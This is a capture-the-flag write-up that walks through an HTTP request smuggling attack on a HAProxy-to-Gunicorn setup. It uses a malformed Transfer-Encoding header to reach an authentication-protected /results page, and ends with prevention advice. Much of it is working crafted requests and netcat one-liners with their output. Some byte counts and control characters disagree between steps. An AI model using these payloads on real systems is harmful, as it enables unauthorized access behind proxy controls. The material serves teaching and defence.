Misc CTF - Request Smuggling

— Written by — 9 min read

During a CTF I recently came across a very cool challenge on Request Smuggling. I have been wanting to try my theoretical knowledge of this topic on a “real-life” scenario and this was the perfect occasion. It allowed me to get a deeper understand of what’s going on behind the hood when a request smuggling happens.

Since request smuggling is not a so “straightforward” vulnerability to understand at first, I will try to details as much as possible this post to help you get a clear picture of this cool vulnerability.

Tl;Dr: In this challenge you have to exploit Request Smuggling in order to access a authentication protected endpoint and get the flag.

While not being in the OWASP Top 10, Request Smuggling is a very interesting vulnerability worth knowing about.

Alright! Let’s get into the details now!


About Request Smuggling

Before we start let’s see a bit of history Request Smuggling. It was first presented in 2005 by Watchfire: HTTP Request Smuggling and got recently repopularized by PortSwigger’s research.

It’s commonly defined this way:

  • HTTP request smuggling is a technique for interfering with the way a web site processes sequences of HTTP requests that are received from one or more users. Request smuggling vulnerabilities are often critical in nature, allowing an attacker to bypass security controls, gain unauthorized access to sensitive data, and directly compromise other application users.

The recent trend to complexifie infrastructure made this vulnerability more common and easier to exploit.

Let’s now see in practice how it can arise.

Recon

Opening the challenge display the following page:

request smuggling bs bingo

We have a simple “Bingo” game, not much more going on there. The results page prompt us a Basic Auth so we can’t access it:

haproxy authentication

Let’s gather as much informations as we can to better understand how the back-end of this app can be working.

First we notice the web server is running gunicorn:

1
2
3
4
5
6
[hg8@archbook ~]$ curl http://misc.ctf:33433/ -I
HTTP/1.1 200 OK
Server: gunicorn/19.9.0
Date: Wed, 03 Jun 2020 13:15:33 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 3642

As a reminder:

Gunicorn ‘Green Unicorn’ is a Python WSGI HTTP Server for UNIX. It’s a pre-fork worker model. The Gunicorn server is broadly compatible with various web frameworks, simply implemented, light on server resources, and fairly speedy.https://gunicorn.org/

Yet we also noticed, when trying to access /results endpoint, a “HAProxy Authentication”.

HAProxy is free, open source software that provides a high availability load balancer and proxy server for TCP and HTTP-based applications that spreads requests across multiple servers.

http://www.haproxy.org/

Alright, with those informations we can get a better understanding on how the back-end of the app looks like. We probably have something like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

User
|
|
+-----+-----+
| |
| HAProxy |
| |
+-----+-----+
|
|
+---------+----------+ +-------------+
| | | |
| Gunicorn | | Web App |
| WSGI HTTP Server +-----+ Python (?) |
| | | |
+--------------------+ +-------------+

At least more or less…

Exploitation

Alright so now that we have a better understanding of the back-end we can start to see a way this could be exploited.

The endpoint /results we are trying to read is authentication protected by HAProxy, meaning the application itself probably don’t protect it.

So if we could find a way to make a direct request to the web server bypassing HAProxy we should be able to access /results without any authentication needed.

First thing that come to mind is exploiting vulnerability like Server-side request forgery. Unfortunately the app doesn’t allow to exploit such vulnerability…

Let’s continue to search.

Another possibility would be request smuggling.

The idea of Request Smuggling is to leverage the fact that HAProxy and Gunicorn might handle HTTP request differently to craft a request to /results that won’t be interpreted by the front-end server (HAProxy) which will sent it directly to the back-end. In the meantime the back-end server (Gunicorn) will interpret the request correctly, connect to /results endpoint and return the response normally.

Let’s see in practice how it work.

HAProxy request handling.

Making the following request to front-end HAProxy server:

1
2
3
4
5
6
7
8
POST / HTTP/1.1
Host: misc.ctf:33433
Content-Length: 6
Transfer-Encoding: chunked

0

X

Will be forwarded to the back-end as such:

1
2
3
4
5
6
POST / HTTP/1.1
Host: misc.ctf:33433
Transfer-Encoding: chunked
X-Forwarded-For: 172.21.0.1

0

We can see that the last X got dropped and Content-length got ignored. This is the intended behavior according to RFC 7230 Message Body Length:

If a message is received with both a Transfer-Encoding and a Content-Length header field, the Transfer-Encoding overrides the Content-Length. Such a message might indicate an attempt to perform request smuggling (Section 9.5) or response splitting (Section 9.4) and ought to be handled as an error. A sender MUST remove the received Content-Length field prior to forwarding such a message downstream.

However when sending \x0b (vertical tab) before the “chunked” string HAProxy handle the request differently:

1
2
3
4
5
6
7
8
POST / HTTP/1.1
Host: misc.ctf:33433
Content-Length: 13
Transfer-Encoding:[\x0b]chunked

0

SMUGGLED

Gets forwarded to the back-end server as:

1
2
3
4
5
6
7
8
9
10
POST / HTTP/1.1
Host: misc.ctf:33433
Content-Length: 13
Transfer-Encoding:
chunked
X-Forwarded-For: 172.21.0.1

0

SMUGGLED

HAProxy processed the Content-Length header and determined that the request body is 6 bytes long, up to the end of X. This request is forwarded on to the back-end server.

However gunicorn will, according to the RFC, proceed Transfer-Encoding header and will handle the message body as using chunked encoding.

It will proceed the first chunk which is stated to be zero length, and so is treated as terminating the request. Yet the following bytes SMUGGLED are still here, being left unprocessed and the gunicorn back-end server will treat these as being the start of the next request in the sequence.

Smuggling request

Let’s see if we can confirm that it’s possible to make request smuggling on our Bullshit Bingo using the following request:

1
2
3
4
5
6
7
8
POST / HTTP/1.1
Host: misc.ctf:33433
Content-Length: 4
Transfer-Encoding:�chunked

1
A
B

Because it uses the Content-Length when we have [\x0b] character in the Transfer-Encoding header, HAProxy will forward the following to the gunicorn backend:

1
2
3
4
5
6
7
8
9
POST / HTTP/1.1
Host: misc.ctf:33433
Content-Length: 4
Transfer-Encoding:
chunked
X-Forwarded-For: 172.21.0.1

1
Z

If the gunicorn parses this request using Transfer-Encoding, then it will timeout waiting for 0\r\n\r\n chunk that would usually terminate the request. Let’s give a try:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
[hg8@archbook ~]$ printf "POST / HTTP/1.1\r\nHost: misc.ctf:33433\r\nContent-Length: 4\r\nTransfer-Encoding:^Lchunked\r\n\r\n1\r\nZ\r\nQ" | nc misc.ctf:33433

HTTP/1.1 400 BAD REQUEST
Server: gunicorn/19.9.0
Date: Thu, 04 Jun 2020 17:21:42 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 192

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>400 Bad Request</title>
<h1>Bad Request</h1>
<p>The browser (or proxy) sent a request that this server could not understand.</p>
HTTP/1.0 408 Request Time-out
Cache-Control: no-cache
Connection: close
Content-Type: text/html

<html><body><h1>408 Request Time-out</h1>
Your browser didn't send a complete request in time.
</body></html>

Bingo, we got a 408 Request Time-out. Also did you notice ? We got two response to, seemingly, one HTTP request. This confirm we can smuggle request.

But what now ? What can we do with that ?

First let’s try to see if it’s possible to smuggle a second HTTP request in the main one.

Let’s try for example to access a 404 page and see if the response match:

1
2
3
4
5
6
7
8
9
10
11
12
POST / HTTP/1.1
Host: misc.ctf:33433
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding:�chunked

1
A
0

GET /404 HTTP/1.1
foo: xGET / HTTP/1.1

Before trying, let’s details what should happen in this request?

Because of the Content-Lengh of 38, the HAProxy will transfer 2 different requests to the backend:

1st request:

1
2
3
4
5
6
7
8
9
10
11
12
POST / HTTP/1.1
Host: misc.ctf:33433
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding:�chunked

1
A
0

GET /404 HTTP/1.1
foo: x

2nd request:

1
GET / HTTP/1.1

Yet when gunicorn will receive the first request it will proceed the Transfer-Encoding header, processing the first part:

1
2
3
4
5
6
7
8
9
POST / HTTP/1.1
Host: misc.ctf:33433
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding:�chunked

1
A
0

Until it arrives to the chunk which is stated to be zero length, and so treated as terminating the request. But! The following bytes are still there being left unprocessed:

1
2
GET /404 HTTP/1.1
foo: x

So when gunicorn received the 2nd request:

1
GET / HTTP/1.1

It will actually just get appended to the bytes which remained unprocessed before, resulting in the following request:

1
2
GET /404 HTTP/1.1
foo: xGET / HTTP/1.1

Which gunicorn will simply proceed as a valid request.

Alright, let’s see in practice if we can make it work!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
[hg8@archbook ~]$ printf "POST / HTTP/1.1\r\nHost: misc.ctf:33433\r\nContent-Length: 38\r\nContent-Type: application/x-www-form-urlencoded\r\nTransfer-Encoding:^Lchunked\r\n\r\n1\r\nA\r\n0\r\n\r\nGET /404 HTTP/1.1\r\nfoo: xGET / HTTP/1.1\r\n\r\n" | nc misc.ctf:33433

HTTP/1.1 400 BAD REQUEST
Server: gunicorn/19.9.0
Date: Thu, 04 Jun 2020 17:38:16 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 192

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>400 Bad Request</title>
<h1>Bad Request</h1>
<p>The browser (or proxy) sent a request that this server could not understand.</p>
HTTP/1.1 404 NOT FOUND
Server: gunicorn/19.9.0
Date: Thu, 04 Jun 2020 17:38:16 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 232

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>404 Not Found</title>
<h1>Not Found</h1>
<p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>

Perfect! It worked.

What’s the next step ? Smuggling a request to /results endpoint. Since HAProxy won’t see the request it won’t prompt authentication. Yet gunicorn will proceed our request without issues.

We can do something like so:

1
2
3
4
5
6
7
8
9
10
11
12
POST / HTTP/1.1
Host: misc.ctf:33433
Content-Length: 39
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding:�chunked

1
A
0

GET /results HTTP/1.1
Foo: xGET / HTTP/1.1

Let’s give it a try:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
[hg8@archbook ~]$ printf "POST / HTTP/1.1\r\nHost: misc.ctf:33433\r\nContent-Length: 39\r\nContent-Type: application/x-www-form-urlencoded\r\nTransfer-Encoding:^Lchunked\r\n\r\n1\r\nA\r\n0\r\n\r\nGET /results HTTP/1.1\r\nFoo: xGET / HTTP/1.1\r\n\r\n" | nc misc.ctf:33433

HTTP/1.1 400 BAD REQUEST
Server: gunicorn/19.9.0
Date: Thu, 04 Jun 2020 17:41:32 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 192

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>400 Bad Request</title>
<h1>Bad Request</h1>
<p>The browser (or proxy) sent a request that this server could not understand.</p>
HTTP/1.1 200 OK
Server: gunicorn/19.9.0
Date: Thu, 04 Jun 2020 17:41:32 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 30

flag{r3KW35t 5mu99L1N9 12 8Ad}

References

Prevention Methods

  • Disable reuse of back-end connections, so that each back-end request is sent over a separate network connection.
  • Use HTTP/2 for back-end connections, as this protocol prevents ambiguity about the boundaries between requests.
  • Use exactly the same web server software for the front-end and back-end servers, so that they agree about the boundaries between requests.

Real Life Example


That’s it folks! As always do not hesitate to contact me for any questions or feedbacks!

See you next time ;)

-hg8



CTFMisc
, ,